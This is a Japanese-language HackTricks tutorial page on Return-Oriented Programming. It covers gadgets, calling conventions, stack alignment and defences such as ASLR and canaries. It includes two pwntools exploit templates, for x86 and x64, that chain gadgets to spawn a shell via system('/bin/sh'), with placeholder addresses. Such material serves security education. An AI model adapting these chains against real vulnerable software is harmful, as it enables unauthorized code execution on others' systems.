ROP - Return Oriented Programing

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

  • HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!

  • The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける

  • Discordグループ参加💬(https://discord.gg/hRep4RUj7f)またはtelegramグループに参加するか、Twitter🐦でフォローする @hacktricks_live

  • HackTricks(https://github.com/carlospolop/hacktricks)およびHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

基本情報

**Return-Oriented Programming (ROP)**は、**No-Execute (NX)Data Execution Prevention (DEP)などのセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。シェルコードを注入して実行する代わりに、攻撃者はバイナリやロードされたライブラリに既に存在するコード片("ガジェット"**として知られる)を利用します。各ガジェットは通常、ret命令で終わり、データをレジスタ間で移動したり算術演算を行ったりするなど、小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護をバイパスできます。

ROPの動作方法

  1. 制御フローのハイジャック:まず、攻撃者は通常、バッファオーバーフローを悪用してスタック上の保存されたリターンアドレスを上書きすることで、プログラムの制御フローをハイジャックする必要があります。

  2. ガジェットの連鎖:次に、攻撃者は注意深くガジェットを選択して連鎖させ、必要なアクションを実行します。これには、関数呼び出しの引数を設定したり、関数を呼び出したり(例:system("/bin/sh"))、必要なクリーンアップや追加の操作を処理したりすることが含まれる可能性があります。

  3. ペイロードの実行:脆弱な関数が返されると、合法的な場所に戻る代わりに、ガジェットの連鎖を実行し始めます。

ツール

通常、ガジェットはROPgadgetropper、または直接pwntoolsROP)を使用して見つけることができます。

x86のROPチェーンの例

x86(32ビット)呼び出し規約

  • cdecl:呼び出し元がスタックをクリーンアップします。関数引数はスタックに逆順でプッシュされます(右から左に)。引数は右から左にスタックにプッシュされます。

  • stdcall:cdeclに似ていますが、スタックのクリーンアップは呼び出し先が担当します。

ガジェットの検索

まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定しましょう。興味を持つガジェットは次のとおりです:

  • pop eax; ret:このガジェットはスタックのトップの値をEAXレジスタにポップしてから戻り、EAXを制御できるようにします。

  • pop ebx; ret:上記と同様ですが、EBXレジスタ用であり、EBXを制御できるようにします。

  • mov [ebx], eax; retEAXの値をEBXが指すメモリ位置に移動してから戻ります。これは通常、write-what-whereガジェットと呼ばれます。

  • さらに、system()関数のアドレスが利用可能です。

ROPチェーン

pwntoolsを使用して、次のようにROPチェーンの実行のためにスタックを準備します。system('/bin/sh')を実行することを目指しています。チェーンが次のように始まることに注目してください:

  1. アライメント目的のret命令(オプション)

  2. system関数のアドレス(ASLRが無効で既知のlibcの場合、詳細はRet2libにあります)

  3. system()からの戻りアドレスのプレースホルダ

  4. "/bin/sh"文字列アドレス(system関数のパラメータ)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64でのROPチェーンの例

x64(64ビット)呼び出し規約

  • Unix系システムでは、最初の6つの整数またはポインタ引数はレジスタ RDIRSIRDXRCXR8、および R9 に渡されます。追加の引数はスタックに渡されます。戻り値は RAX に配置されます。

  • Windows x64 呼び出し規約では、最初の4つの整数またはポインタ引数には RCXRDXR8、および R9 が使用され、追加の引数はスタックに渡されます。戻り値は RAX に配置されます。

  • レジスタ: 64ビットレジスタには RAXRBXRCXRDXRSIRDIRBPRSP、および R8 から R15 が含まれます。

ガジェットの検索

今回は、RDI レジスタを設定し(system()"/bin/sh" 文字列を引数として渡すため)、その後 system() 関数を呼び出すためのガジェットに焦点を当てます。以下のガジェットを特定したと仮定します:

  • pop rdi; ret: スタックのトップの値を RDI にポップしてから戻ります。system() の引数を設定するために必要です。

  • ret: 単純なリターンで、一部のシナリオでスタックの整列に役立ちます。

そして、system() 関数のアドレスを知っているとします。

ROPチェーン

以下は、pwntools を使用して x64system('/bin/sh') を実行するためのROPチェーンを設定して実行する例です:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

スタックアライメント

x86-64 ABI は、call命令が実行される際にスタックが16バイトに整列されることを保証します。LIBC は、パフォーマンスを最適化するためにSSE命令(例: movaps)を使用し、この整列が必要です。スタックが適切に整列されていない場合(つまりRSPが16の倍数でない場合)、systemなどの関数の呼び出しはROPチェーンで失敗します。これを修正するには、ROPチェーンでsystemを呼び出す前にretガジェットを追加するだけです。

x86とx64の主な違い

x64は最初の数値引数にレジスタを使用するため、単純な関数呼び出しにはx86よりも少ないガジェットが必要ですが、適切なガジェットを見つけてチェーンすることは、レジスタの数の増加とアドレス空間の拡大により、より複雑になる可能性があります。x64アーキテクチャの増加したレジスタ数と大きなアドレス空間は、特にReturn-Oriented Programming(ROP)の文脈でのエクスプロイト開発において、機会と課題の両方を提供します。

ARM64のROPチェーンの例

ARM64の基礎と呼び出し規約

この情報については、次のページをチェックしてください:

pageIntroduction to ARM64v8

ROPに対する保護

  • ASLR & PIE: これらの保護は、ガジェットのアドレスが実行ごとに変化するため、ROPの使用を困難にします。

  • スタックキャナリー: BOFの場合、ROPチェーンを悪用するためには、スタックキャナリーをバイパスしてリターンポインタを上書きする必要があります。

  • ガジェットの不足: 十分なガジェットがない場合、ROPチェーンを生成することはできません。

ROPベースのテクニック

ROPは単なる任意のコードを実行するためのテクニックであることに注意してください。ROPを基に、多くのRet2XXXテクニックが開発されました:

  • Ret2lib: ROPを使用して、ロードされたライブラリから任意のパラメータ(通常はsystem('/bin/sh')のようなもの)を持つ任意の関数を呼び出します。

pageRet2lib
  • Ret2Syscall: ROPを使用して、execveなどのシスコールを呼び出す準備をし、任意のコマンドを実行します。

pageRet2syscall
  • EBP2Ret & EBP Chaining: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合、フローは主にEBPアドレスで制御されます(ただし、EIPの制御も必要です)。

pageStack Pivoting - EBP2Ret - EBP chaining

その他の例と参照

Last updated